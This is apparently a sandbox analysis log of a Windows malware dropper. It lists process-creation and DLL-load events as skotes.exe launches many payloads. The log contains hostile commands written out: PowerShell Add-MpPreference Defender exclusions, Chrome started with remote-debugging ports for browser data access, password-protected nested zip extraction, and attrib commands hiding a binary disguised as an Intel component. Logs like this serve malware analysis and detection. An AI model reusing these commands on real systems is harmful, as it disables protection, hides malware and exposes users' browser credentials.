Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe "C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe"
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Process created: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe "C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe"
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Process created: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe "C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe "C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe"
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2724 --field-trial-handle=2452,i,6832538450347870675,15529709356732568208,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019458001\906ea9c047.exe "C:\Users\user\AppData\Local\Temp\1019458001\906ea9c047.exe"
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2216 --field-trial-handle=2088,i,14124230610741043506,9399832751077093261,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1019458001\906ea9c047.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe "C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe"
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2528 --field-trial-handle=2452,i,3932887190901628609,13787986242964853943,262144 /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe "C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe"
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2540 --field-trial-handle=2464,i,17310931600461636883,12711239818056080546,262144 /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe "C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe "C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe"
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2844 --field-trial-handle=2600,i,3487772156772132519,12680347466969316362,262144 /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe "C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe "C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe "C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2456 --field-trial-handle=2264,i,442136233029730373,2572777427305726788,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe "C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe "C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe "C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe "C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe "C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe "C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019458001\906ea9c047.exe "C:\Users\user\AppData\Local\Temp\1019458001\906ea9c047.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe "C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe "C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe "C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe "C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe "C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\dciqrtt"
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Process created: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe "C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe"
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Process created: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe "C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe"
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2724 --field-trial-handle=2452,i,6832538450347870675,15529709356732568208,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019458001\906ea9c047.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2216 --field-trial-handle=2088,i,14124230610741043506,9399832751077093261,262144 /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2528 --field-trial-handle=2452,i,3932887190901628609,13787986242964853943,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2540 --field-trial-handle=2464,i,17310931600461636883,12711239818056080546,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2844 --field-trial-handle=2600,i,3487772156772132519,12680347466969316362,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2456 --field-trial-handle=2264,i,442136233029730373,2572777427305726788,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
